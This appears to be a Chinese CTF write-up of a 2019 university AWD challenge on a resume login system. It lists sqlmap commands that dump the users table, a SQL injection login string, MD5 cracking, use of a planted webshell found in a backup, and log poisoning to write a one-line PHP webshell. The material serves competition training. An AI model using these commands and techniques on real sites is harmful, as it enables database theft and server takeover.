题目描述

2019防灾科技学院 “应急挑战杯” 大学生网络安全邀请赛 AWD 靶机题目。不是黑盒,本地有源码可以白盒审计。

Solution

打开题目,是一个简历系统登陆页面:

01.png

首先我们猜想是弱密码,用 Burpsuite 去暴力破解,没有成功。

验证 SQL 注入

之后我们猜想是 SQL 注入,用 Burpsuite 观察请求包,发现是用 POST 传递数据的,我们使用 SQLMap 去跑,发现注入点是基于时间的盲注。

  1. sqlmap -u "http://www.bmzclub.cn:24130/index.php?c=User&a=login" --data "username=admin&password=password" --batch --thread 4 --dbs

02.png

我们发现有geez数据库,继续查它有哪些表:

  1. sqlmap -u "http://www.bmzclub.cn:24130/index.php?c=User&a=login" --data "username=admin&password=password" --batch --thread 4 -D geez --tables

03.png

有一张users表。我们继续看看它的表结构:

  1. sqlmap -u "http://www.bmzclub.cn:24130/index.php?c=User&a=login" --data "username=admin&password=password" --batch --thread 4 -D geez -T users --columns

04.png

我们先关注username字段:

  1. sqlmap -u "http://www.bmzclub.cn:24130/index.php?c=User&a=login" --data "username=admin&password=password" --batch --thread 4 -D geez -T users -C username --dump

05.png

它只有一个用户admin,再看看password字段:

  1. sqlmap -u "http://www.bmzclub.cn:24130/index.php?c=User&a=login" --data "username=admin&password=password" --batch --thread 4 -D geez -T users -C password --dump

06.png

我们用hashid命令或hash-identifier看看它可能是哪些哈希:

07.png

我们优先考虑 MD5 哈希,去 MD5 hash cracker 尝试破解,得到一个结果:

08.png

我们尝试用admin:admin445登陆。


也可以使用万能密码登陆,账号是:admin' or 1=1 #,密码是1


发现有个后台主页,可以上传文件:

09.png

我们尝试上传正常图片,却遇到服务器后端报错:

10.png

我们只能尝试别的方法。

审计备份文件

我们用 dirsearch 扫描目录:

11.png

扫描到网站备份文件,我们下载下载,火绒会报毒:

12.png

我们打开压缩包,找到在include目录下确实有一个 WebShell 文件:

13.png

我们直接用蚁剑连接 WebShell:

14.png

最后我们在/目录下找到 Flag 文件:

15.png

验证日志文件

在上一步我们还发现服务器有一个log.php文件,打开一看,发现所有的 GET、POST 请求都会被记录到这个文件里:

3-1.png

如果我们给主要发送一个 POST 请求,请求的内容包含了一句话木马,那一句话木马也会被记录到log.php里,这样一来log.php文件就可以被当成 WebShell 被蚁剑这一类工具连接了。我们试一试,向主页发送包含一句话木马的 POST 请求:

3-2.png

可以看到我们写入的东西被记录到 Log 里了:

3-3.png

我们尝试一下能不能用蚁剑访问 WebShell:

3-4.png

我们进入控制台,输入命令find / -iname flag找 Flag 文件的位置,最后发现它在/目录下,我们用cat命令查看即可:

3-5.png

参考资料